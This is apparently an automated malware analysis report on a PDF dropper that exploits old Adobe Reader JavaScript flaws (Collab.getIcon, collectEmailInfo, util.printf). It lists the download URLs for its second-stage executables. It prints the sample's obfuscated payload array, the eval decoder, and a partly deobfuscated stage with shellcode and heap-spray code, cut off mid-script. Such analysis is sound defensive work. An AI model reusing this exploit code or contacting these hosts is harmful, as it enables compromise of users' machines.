Malicious PDF — malware analysis report

Static analysis result for SHA-256 065070579885de4d…

MALICIOUS

PDF

7.1 KB Created: 2009-09-15 19:41:91 Authoring application: Eblasha 6.2.3.4 (via PDF Library 6.1.9.6) First seen: 2012-07-12
MD5: cdfb2eb398c989b8a8f4ea1d906c9971 SHA-1: e5403fd661b7eee2010afb9022cdcf65a36aca9d SHA-256: 065070579885de4d2d1f7450f2a0e5b3f71f5500ca181aae22b2effb70cfe700
606 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that leverages multiple known vulnerabilities in Adobe Reader, specifically CVE-2009-0927 (Collab.getIcon), CVE-2007-5659 (Collab.collectEmailInfo), and CVE-2008-2992 (util.printf). This JavaScript is designed to download and execute a second-stage payload from the URLs http://adminregion.info/born/efhilv3.exe, http://adminregion.info/born/jklm3.exe, and http://adminregion.info/born/uwz3.exe. The presence of exploit clusters and a high ML classifier score indicate a malicious dropper.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 14

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Dropper.Agent-7224666-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-7224666-0
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    for (var adevx=0, fkpr='';adevx<5352;adevx++){fkpr += String.fromCharCode(fra[adevx]-'aiPqrTw'.substring(adevx%'aiPqrTw'.length,adevx%'aiPqrTw'.length+1).charCodeAt(0));}eval(fkpr);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • ASCII85Decode filter (with exploit indicators) low PDF_FILTER_85
    ASCII85 encoding filter present alongside exploit delivery indicators — uncommon outside of obfuscation
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://adminregion.info/born/efhilv3.exe Referenced by PDF JavaScript
    • http://adminregion.info/born/jklm3.exeReferenced by PDF JavaScript
    • http://adminregion.info/born/uwz3.exeReferenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_000.js pdf-javascript-stream PDF /JS object 13 at offset 0x36B 21412 bytes
SHA-256: 33ea840e3c7cd5fd1df861c01ec8e4927cfe6ebec6fc06ef802588e79afdf0cd
Preview script
First 1,000 lines of the extracted script
var fra=[199,222,190,212,230,189,230,207,137,182,218,234,179,224,213,145,201,210,228,199,231,141,213,181,223,155,207,238,201,210,188,214,154,205,216,211,220,192,159,222,185,229,200,221,184,155,164,144,227,198,215,121,236,235,181,233,212,217,123,174,235,181,233,212,217,139,238,124,205,216,211,220,192,174,235,181,233,212,217,126,228,231,182,234,213,219,185,223,217,124,167,141,213,181,223,161,134,160,156,219,181,229,231,198,229,129,226,177,227,229,196,178,222,115,182,230,224,183,235,202,216,190,145,231,200,224,205,200,192,227,219,194,235,199,145,121,236,232,181,233,129,217,177,234,222,195,216,197,166,197,223,215,199,218,194,217,181,153,148,121,236,151,157,137,161,151,201,168,153,170,129,150,231,132,167,145,153,117,230,170,150,167,145,142,197,164,162,136,167,134,222,132,161,170,150,156,214,161,146,166,166,121,236,145,157,132,161,151,201,171,145,161,146,150,231,140,185,145,157,117,230,162,136,171,145,142,197,163,162,132,187,134,222,130,161,162,132,156,214,156,148,161,162,121,236,145,153,135,180,151,201,167,145,160,135,150,231,132,168,152,157,117,230,165,135,186,148,142,197,167,166,151,167,134,222,132,161,170,150,156,214,160,136,164,162,121,236,153,171,128,180,151,201,167,164,157,128,150,231,139,167,153,171,117,230,179,152,168,164,142,197,166,170,140,185,134,222,149,179,162,140,156,214,161,146,161,171,121,236,148,157,132,161,151,201,171,145,161,148,150,231,140,185,152,172,117,230,165,151,172,153,142,197,165,166,138,184,134,222,148,162,167,149,156,214,155,146,182,164,121,236,153,171,149,163,151,201,188,163,174,147,150,231,137,184,149,175,117,230,170,135,172,147,142,197,166,168,153,184,134,222,133,166,170,141,156,214,158,134,161,166,121,236,153,171,133,168,151,201,170,164,160,131,150,231,139,171,153,171,117,230,169,140,170,148,142,197,183,165,132,170,134,222,136,179,167,138,156,214,155,128,168,168,121,236,167,156,128,164,151,201,186,154,156,131,150,231,137,167,149,162,117,230,179,152,171,146,142,197,183,184,135,170,134,222,128,183,165,138,156,214,154,132,179,183,121,236,148,161,128,164,151,201,174,149,175,130,150,231,151,168,145,161,117,230,162,152,186,167,142,197,183,179,132,170,134,222,149,179,166,132,156,214,158,136,182,184,121,236,167,161,131,179,151,201,188,150,160,133,150,231,140,185,150,174,117,230,164,136,171,151,142,197,180,165,132,170,134,222,136,179,168,138,156,214,157,136,161,181,121,236,150,159,136,179,151,201,167,148,154,147,150,231,140,185,165,156,117,230,170,149,167,149,142,197,180,165,132,170,134,222,133,182,167,154,156,214,172,131,166,162,121,236,152,173,136,181,151,201,172,152,153,136,150,231,150,175,150,155,117,230,181,149,170,148,142,197,166,180,140,184,134,222,145,163,183,140,156,214,175,150,183,184,121,236,148,155,150,183,151,201,175,163,172,128,150,231,154,169,167,160,117,230,166,154,184,166,142,197,168,167,150,175,134,222,134,166,164,153,156,214,170,146,168,170,121,236,154,161,134,167,151,201,184,163,159,134,150,231,151,167,148,156,117,230,168,133,185,153,142,197,161,162,138,171,134,222,133,161,162,132,156,214,158,132,167,170,121,236,152,155,134,169,151,201,170,150,159,133,150,231,133,186,147,157,117,230,169,136,173,154,142,197,166,166,137,167,134,222,146,169,167,135,156,214,175,147,178,179,121,236,152,172,128,181,151,201,172,150,175,150,150,231,140,185,145,157,117,230,170,135,189,153,142,197,161,181,151,171,134,222,134,180,180,132,156,214,174,128,169,179,121,236,150,153,137,169,151,201,173,167,159,136,150,231,134,188,151,174,117,230,168,140,173,149,142,197,168,164,139,172,134,222,134,181,168,151,156,214,171,136,166,166,121,236,149,174,136,182,151,201,188,164,153,149,150,231,137,172,167,175,117,230,171,135,167,149,142,197,164,165,137,167,134,222,133,161,181,132,156,214,158,134,166,162,121,236,150,158,136,179,151,201,175,148,153,132,150,231,139,189,164,155,117,230,181,134,175,148,142,197,166,164,136,186,134,222,146,169,167,132,156,214,154,145,164,168,121,236,152,153,130,183,151,201,172,150,175,150,150,231,137,185,145,157,117,230,167,138,172,152,142,197,170,170,150,175,134,222,136,178,184,153,156,214,175,150,161,183,121,236,145,157,133,166,151,201,167,145,159,145,150,231,152,174,167,175,117,230,169,136,173,153,142,197,168,162,139,171,134,222,130,183,165,149,156,214,159,129,163,184,121,236,151,173,134,165,151,201,173,166,159,137,150,231,138,172,152,155,117,230,168,141,173,152,142,197,167,183,138,189,134,222,134,170,164,153,156,214,159,134,167,183,121,236,147,175,134,183,151,201,173,167,159,130,150,231,138,188,152,155,117,230,168,137,169,167,142,197,167,170,138,173,134,222,134,180,168,141,156,214,156,131,168,168,121,236,151,158,130,182,151,201,173,150,160,136,150,231,132,167,145,153,114,154,173,202,216,211,137,190,224,226,145,236,207,206,195,212,211,196,220,137,139,117,230,162,149,167,162,142,197,161,179,132,184,134,222,128,178,162,149,156,214,153,145,161,179,118,160,107,223,177,227,146,188,220,194,217,178,221,225,183,226,158,215,191,225,157,196,216,218,213,191,210,214,143,237,194,219,112,211,219,187,217,205,216,179,220,175,201,229,198,220,179,210,226,185,159,131,142,197,161,179,132,184,134,222,128,178,162,149,153,138,164,198,210,228,116,223,198,202,180,214,228,199,224,219,206,141,163,162,143,237,194,219,112,228,226,198,216,218,166,184,214,211,184,220,211,220,185,235,215,127,223,198,202,192,211,222,195,218,204,151,188,214,224,187,235,201,164,199,217,219,192,220,137,203,185,216,212,192,230,196,212,126,221,215,194,222,213,209,140,228,226,198,216,218,146,203,211,219,187,217,205,216,179,220,157,145,217,202,208,178,221,225,183,226,156,230,90,231,211,198,151,199,210,188,221,212,192,230,196,212,141,211,219,187,217,205,216,179,220,160,199,236,195,220,196,227,219,194,222,137,153,124,228,226,198,216,218,146,139,231,211,198,151,195,213,191,212,221,145,217,202,208,178,221,225,183,226,143,220,197,211,229,200,233,202,215,183,153,162,128,217,202,208,178,221,225,183,226,143,213,181,223,217,200,223,142,220,192,227,211,205,160,156,224,184,218,222,185,159,195,213,191,212,221,130,227,198,215,183,229,218,127,234,209,219,177,234,174,132,239,149,153,128,161,162,125,242,195,213,191,212,221,145,217,205,216,179,220,157,182,227,208,204,187,156,216,189,227,205,203,188,224,213,191,178,222,115,198,210,228,116,228,198,214,175,210,228,198,216,218,166,190,214,233,116,184,211,219,177,234,154,125,178,199,216,194,153,232,181,233,129,210,141,161,173,189,179,146,157,128,161,173,189,162,140,146,203,222,215,193,214,194,219,194,210,235,175,224,190,166,178,221,225,183,226,140,209,181,210,226,182,227,208,204,187,172,239,94,237,194,219,112,223,231,193,180,146,155,137,170,171,141,176,154,162,137,170,171,141,176,154,162,137,170,171,141,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,139,230,230,189,227,143,217,194,218,224,200,221,137,139,117,165,167,132,167,145,207,114,157,224,201,228,138,164,205,123,216,201,229,196,221,185,224,224,116,218,208,213,188,210,212,179,220,206,202,185,221,154,125,242,215,202,194,145,229,188,220,205,213,179,224,214,185,180,214,215,181,228,213,181,231,198,145,114,150,231,138,171,154,153,117,230,163,140,184,146,142,197,161,162,132,167,134,222,136,179,162,132,156,214,156,128,165,162,121,236,149,153,136,179,151,201,175,163,158,132,150,231,132,171,149,153,117,230,166,132,175,163,142,197,169,180,132,171,134,222,128,165,166,132,156,214,155,128,161,182,121,236,147,153,128,161,151,201,170,165,153,128,150,231,132,167,152,172,117,230,162,132,174,152,142,197,161,163,139,171,134,222,131,164,181,135,156,214,159,132,180,162,121,236,149,153,136,179,151,201,174,153,156,128,150,231,140,185,145,172,117,230,162,151,171,145,142,197,168,162,140,185,134,222,145,181,163,151,156,214,158,136,169,180,121,236,166,171,128,169,151,201,175,163,153,137,150,231,135,171,149,153,117,230,166,132,175,165,142,197,169,180,139,186,134,222,131,180,167,140,156,214,157,132,167,179,121,236,165,154,133,178,151,201,169,163,174,130,150,231,140,185,166,155,117,230,183,150,188,164,142,197,166,179,136,189,134,222,136,164,167,134,156,214,158,134,182,179,121,236,150,158,136,170,151,201,172,151,153,132,150,231,140,185,150,160,117,230,165,151,174,148,142,197,168,166,140,185,134,222,135,169,165,135,156,214,175,131,161,165,121,236,153,171,133,167,151,201,169,145,160,134,150,231,154,170,145,156,117,230,181,141,170,148,142,197,166,162,136,176,134,222,145,181,166,133,156,214,175,150,164,165,121,236,145,175,131,167,151,201,168,149,171,149,150,231,135,175,145,156,117,230,169,136,189,147,142,197,180,163,132,175,134,222,128,181,181,154,156,214,175,145,161,165,121,236,166,171,132,161,151,201,172,153,174,150,150,231,154,175,148,171,117,230,183,137,174,150,142,197,169,180,137,188,134,222,130,165,166,138,156,214,172,131,161,165,121,236,153,171,134,167,151,201,171,153,153,147,150,231,137,173,153,171,117,230,162,135,168,164,142,197,169,180,152,170,134,222,136,178,162,136,156,214,172,131,161,165,121,236,150,174,133,183,151,201,186,148,158,128,150,231,139,187,153,173,117,230,167,139,167,153,142,197,179,170,137,169,134,222,147,178,165,135,156,214,158,146,169,179,121,236,162,155,149,169,151,201,189,167,175,150,150,231,135,169,167,175,117,230,170,150,186,145,142,197,183,164,154,174,134,222,132,183,179,153,156,214,160,133,179,170,121,236,151,158,130,182,151,201,184,163,160,136,150,231,141,175,151,159,117,230,179,150,173,151,142,197,180,162,135,170,134,222,134,162,180,140,156,214,153,128,167,166,121,236,150,153,128,161,151,201,172,149,159,136,150,231,139,169,151,161,117,230,165,137,173,150,142,197,162,181,134,171,134,222,135,165,168,141,156,214,158,132,166,162,121,236,163,161,133,164,151,201,189,164,170,145,150,231,139,186,145,173,117,230,167,137,189,167,142,197,169,180,132,171,134,222,136,164,184,140,156,214,153,147,180,166,121,236,151,172,146,161,151,201,188,145,161,145,150,231,137,167,154,161,117,230,168,154,173,153,142,197,163,183,138,188,134,222,134,169,168,136,156,214,160,130,168,167,121,236,151,173,134,180,151,201,185,153,158,132,150,231,136,188,153,174,117,230,183,151,167,166,142,197,166,167,154,189,134,222,137,164,162,136,156,214,156,131,166,162,121,236,150,153,147,161,151,201,172,151,158,128,150,231,137,172,153,171,117,230,170,135,167,149,142,197,168,184,151,169,134,222,147,163,170,135,156,214,158,130,165,181,121,236,163,161,133,161,151,201,168,162,156,134,150,231,139,167,147,175,117,230,167,137,189,167,142,197,166,180,132,171,134,222,133,167,167,139,156,214,162,136,179,170,121,236,153,170,150,182,151,201,189,167,153,149,150,231,132,171,150,158,117,230,162,132,173,162,142,197,181,169,154,189,134,222,135,165,168,140,156,214,160,128,168,166,121,236,147,175,131,178,151,201,173,146,155,150,150,231,138,187,151,157,117,230,168,153,173,154,142,197,167,167,139,169,134,222,134,170,168,139,156,214,159,149,167,184,121,236,151,162,130,182,151,201,173,151,159,149,150,231,134,189,151,175,117,230,168,154,173,147,142,197,167,183,139,169,134,222,134,178,164,154,156,214,159,147,167,180,121,236,148,156,134,181,151,201,173,150,155,149,150,231,138,172,152,161,117,230,162,132,167,145,139,121,172,232,181,233,129,214,181,222,209,181,233,211,202,201,174,224,185,238,129,170,194,227,211,205,159,138,164,198,210,228,116,218,196,166,128,233,162,183,167,196,153,179,161,213,143,237,194,219,112,210,214,184,233,158,153,200,165,162,132,167,145,153,139,231,211,198,151,212,204,175,221,215,194,180,212,209,181,221,222,183,230,197,206,126,221,215,194,222,213,209,122,163,173,202,216,211,137,188,214,224,145,216,197,205,194,158,154,199,218,192,213,181,223,157,132,239,148,161,121,172,232,181,233,129,226,177,227,229,196,180,214,215,181,228,213,181,231,198,145,114,150,231,141,167,154,153,117,230,171,132,176,145,139,121,172,235,181,233,212,217,141,215,219,204,214,202,221,120,234,211,198,234,209,149,188,214,224,125,178,215,202,194,145,213,195,236,207,221,130,174,154,183,218,142,153,200,165,162,132,167,145,153,121,160,211,184,219,211,164,182,224,228,124,237,194,219,112,212,225,201,229,213,166,128,172,213,195,236,207,221,140,212,225,201,229,213,155,139,212,225,201,229,213,148,123,154,237,193,220,206,200,177,227,228,181,240,188,204,191,230,224,200,212,158,226,177,227,229,196,162,212,209,181,221,222,183,230,197,206,139,238,124,202,216,211,137,191,231,215,198,221,205,216,199,174,231,194,220,212,204,177,225,215,124,153,134,222,128,212,162,183,156,214,153,179,161,213,118,160,156,224,184,218,222,185,159,208,223,181,227,216,192,230,216,151,188,214,224,187,235,201,165,132,165,171,137,169,138,228,191,231,215,198,221,205,216,199,156,175,195,237,198,219,182,221,225,203,178,222,115,196,217,219,199,165,196,216,188,221,211,182,202,213,216,194,214,175,151,230,205,213,177,211,160,183,230,205,213,181,212,230,153,228,194,210,188,186,224,186,230,137,228,195,230,212,190,177,131,139,124,222,229,187,177,208,223,181,227,216,192,230,216,230,121,172,239,94,221,214,215,179,229,219,195,229,129,204,191,221,222,181,217,192,208,181,229,219,183,230,207,145,121,236,219,186,159,194,217,192,159,214,195,218,143,172,191,221,222,181,217,143,208,181,229,187,183,230,207,146,203,231,211,198,151,194,219,194,234,175,194,220,216,137,145,227,228,181,240,137,146,139,231,211,198,151,215,223,192,214,230,188,240,194,166,197,223,215,199,218,194,217,181,153,148,121,236,151,157,137,161,151,201,168,153,170,129,150,231,132,167,145,153,117,230,170,150,167,145,142,197,164,162,136,167,134,222,132,161,170,150,156,214,161,146,166,166,121,236,145,157,132,161,151,201,171,145,161,146,150,231,140,185,145,157,117,230,162,136,171,145,142,197,163,162,132,187,134,222,130,161,162,132,156,214,156,148,161,162,121,236,145,153,135,180,151,201,167,145,160,135,150,231,132,168,152,157,117,230,165,135,186,148,142,197,167,166,151,167,134,222,132,161,170,150,156,214,160,136,164,162,121,236,153,171,128,180,151,201,167,164,157,128,150,231,139,167,153,171,117,230,179,152,168,164,142,197,166,170,140,185,134,222,149,179,162,140,156,214,161,146,161,171,121,236,148,157,132,161,151,201,171,145,161,148,150,231,140,185,152,172,117,230,165,151,172,153,142,197,165,166,138,184,134,222,148,162,167,149,156,214,155,146,182,164,121,236,153,171,149,163,151,201,188,163,174,147,150,231,137,184,149,175,117,230,170,135,172,147,142,197,166,168,153,184,134,222,133,166,170,141,156,214,158,134,161,166,121,236,153,171,133,168,151,201,170,164,160,131,150,231,139,171,153,171,117,230,169,140,170,148,142,197,183,165,132,170,134,222,136,179,167,138,156,214,155,128,168,168,121,236,167,156,128,164,151,201,186,154,156,131,150,231,137,167,149,162,117,230,179,152,171,146,142,197,183,184,135,170,134,222,128,183,165,138,156,214,154,132,179,183,121,236,148,161,128,164,151,201,174,149,175,130,150,231,151,168,145,161,117,230,162,152,186,167,142,197,183,179,132,170,134,222,149,179,166,132,156,214,158,136,182,184,121,236,167,161,131,179,151,201,188,150,160,133,150,231,140,185,150,174,117,230,164,136,171,151,142,197,180,165,132,170,134,222,136,179,168,138,156,214,157,136,161,181,121,236,150,159,136,179,151,201,167,148,154,147,150,231,140,185,165,156,117,230,170,149,167,149,142,197,180,165,132,170,134,222,133,182,167,154,156,214,172,131,166,162,121,236,152,173,136,181,151,201,172,152,153,136,150,231,150,175,150,155,117,230,181,149,170,148,142,197,166,180,140,184,134,222,145,163,183,140,156,214,175,150,183,184,121,236,148,155,150,183,151,201,175,163,172,128,150,231,154,169,167,160,117,230,166,154,184,166,142,197,168,167,150,175,134,222,134,166,164,153,156,214,170,146,168,170,121,236,154,161,134,167,151,201,184,163,159,134,150,231,151,167,148,156,117,230,168,133,185,153,142,197,161,162,138,171,134,222,133,161,162,132,156,214,158,132,167,170,121,236,152,155,134,169,151,201,170,150,159,133,150,231,133,186,147,157,117,230,169,136,173,154,142,197,166,166,137,167,134,222,146,169,167,135,156,214,175,147,178,179,121,236,152,172,128,181,151,201,172,150,175,150,150,231,140,185,145,157,117,230,170,135,189,153,142,197,161,181,151,171,134,222,134,180,180,132,156,214,174,128,169,179,121,236,150,153,137,169,151,201,173,167,159,136,150,231,134,188,151,174,117,230,168,140,173,149,142,197,168,164,139,172,134,222,134,181,168,151,156,214,171,136,166,166,121,236,149,174,136,182,151,201,188,164,153,149,150,231,137,172,167,175,117,230,171,135,167,149,142,197,164,165,137,167,134,222,133,161,181,132,156,214,158,134,166,162,121,236,150,158,136,179,151,201,175,148,153,132,150,231,139,189,164,155,117,230,181,134,175,148,142,197,166,164,136,186,134,222,146,169,167,132,156,214,154,145,164,168,121,236,152,153,130,183,151,201,172,150,175,150,150,231,137,185,145,157,117,230,167,138,172,152,142,197,170,170,150,175,134,222,136,178,184,153,156,214,175,150,161,183,121,236,145,157,133,166,151,201,167,145,159,145,150,231,152,174,167,175,117,230,169,136,173,153,142,197,168,162,139,171,134,222,130,183,165,149,156,214,159,129,163,184,121,236,151,173,134,165,151,201,173,166,159,137,150,231,138,172,152,155,117,230,168,141,173,152,142,197,167,183,138,189,134,222,134,170,164,153,156,214,159,134,167,183,121,236,147,175,134,183,151,201,173,167,159,130,150,231,138,188,152,155,117,230,169,137,169,167,142,197,168,179,139,174,134,222,130,182,165,135,156,214,160,136,167,167,121,236,145,153,134,166,148,125,178,215,202,194,145,218,171,232,150,153,128,180,192,145,237,215,217,181,229,218,205,216,143,213,181,223,217,200,223,139,155,139,231,211,198,151,205,206,190,174,162,204,171,145,153,128,161,162,129,159,201,192,193,166,162,132,186,175,148,128,233,165,140,160,156,223,177,227,146,205,216,211,220,192,174,231,194,220,212,204,177,225,215,124,153,134,222,137,161,171,132,156,214,162,128,170,162,118,160,156,226,177,227,229,196,180,199,210,200,208,219,200,159,218,202,194,228,226,128,227,198,215,121,172,232,181,233,129,217,133,178,220,159,173,150,207,141,153,162,204,167,196,153,179,161,213,132,218,142,153,200,165,162,132,167,145,153,121,160,162,204,171,145,153,128,161,162,143,221,208,219,120,231,211,198,151,215,218,179,194,182,141,173,218,166,128,172,232,197,218,178,173,137,167,235,144,231,150,170,186,188,168,137,221,156,223,193,212,195,152,176,151,226,123,156,155,207,216,211,219,201,204,232,197,218,178,173,137,167,235,177,180,218,202,194,228,226,127,237,215,217,181,229,218,205,216,156,230,90,231,211,198,151,213,190,157,217,192,182,190,216,166,197,223,215,199,218,194,217,181,153,148,121,167,154,139,121,172,233,188,224,205,206,120,229,199,161,223,175,203,151,232,160,192,220,207,208,196,217,174,132,239,149,153,128,161,155,207,235,182,182,184,191,212,155,238,140,166,196,198,191,188,197,195,176,199,172,239,94,235,182,182,184,191,212,155,238,158,139,158,159,148,127,235,182,182,184,191,212,155,238,156,202,192,225,160,184,230,196,151,147,224,222,192,216,195,151,183,214,230,157,218,208,215,120,229,199,161,223,175,203,151,232,155,143,244,222,115,182,230,224,183,235,202,216,190,145,226,184,221,192,220,196,210,228,200,159,138,228,198,210,228,116,237,198,219,195,218,225,194,180,194,217,192,159,232,189,220,216,206,194,199,215,198,234,202,216,190,159,230,195,202,213,219,185,223,217,124,160,156,223,181,227,229,189,230,207,166,198,214,228,199,224,208,215,126,227,215,196,227,194,204,181,153,161,176,187,144,208,124,152,153,125,178,215,202,194,145,232,181,233,212,210,191,223,209,181,233,211,202,201,174,224,185,238,129,170,194,227,211,205,159,215,206,194,228,219,195,229,143,204,184,210,228,149,235,137,153,121,157,232,185,233,212,210,191,223,160,183,223,194,219,145,229,154,133,160,141,223,181,227,229,189,230,207,151,179,217,211,198,184,213,145,130,154,155,143,224,199,145,120,231,211,198,234,202,216,190,208,211,198,233,194,226,171,161,207,145,180,153,146,118,151,154,202,216,211,220,185,224,224,179,216,211,219,177,234,205,133,212,158,166,128,154,238,208,159,215,202,194,228,219,195,229,192,202,194,227,211,205,210,146,198,141,174,163,122,157,215,202,194,228,219,195,229,192,202,194,227,211,205,210,147,198,140,164,155,125,242,214,221,185,221,209,196,233,202,215,196,215,154,125,178,222,115,185,215,154,124,237,194,219,195,218,225,194,214,194,219,194,210,235,175,167,190,165,136,154,238,208,159,215,202,194,228,219,195,229,192,202,194,227,211,205,210,145,198,141,174,170,122,157,215,202,194,228,219,195,229,192,202,194,227,211,205,210,146,198,140,163,152,122,237,194,219,195,218,225,194,214,194,219,194,210,235,175,169,190,165,130,154,155,207,218,208,213,188,210,212,179,220,206,202,185,221,154,125,178,222,115,185,215,154,124,237,194,219,195,218,225,194,214,194,219,194,210,235,175,167,190,165,137,154,238,208,159,215,202,194,228,219,195,229,192,202,194,227,211,205,210,145,198,141,174,171,122,157,215,202,194,228,219,195,229,192,202,194,227,211,205,210,146,198,140,162,155,125,242,196,216,188,221,211,182,214,200,206,196,218,213,195,229,137,146,139,238,239,94,231,197,207,175,228,230,181,233,213,145,121,172];
javascript_obj0015_001.js pdf-javascript-stream PDF /JS object 15 at offset 0x1875 181 bytes
SHA-256: 2c97acddd144e9e24e851cce2378ee17efa8d59675609fcf025243e985452046
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
for (var adevx=0, fkpr='';adevx<5352;adevx++){fkpr += String.fromCharCode(fra[adevx]-'aiPqrTw'.substring(adevx%'aiPqrTw'.length,adevx%'aiPqrTw'.length+1).charCodeAt(0));}eval(fkpr);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery numeric-array-minus-key from combined JavaScript objects at offset 0x36B 5352 bytes
SHA-256: eba388a4b556d865145fef8667da77e47f641d32ef37592a8233e9b49b5e71aa
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u612F%u6D64%u6E69%u6572%u6967%u6E6F%u692E%u666E%u2F6F%u6F62%u6E72%u652F%u6866%u6C69%u3376%u652E%u6578%u0000");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
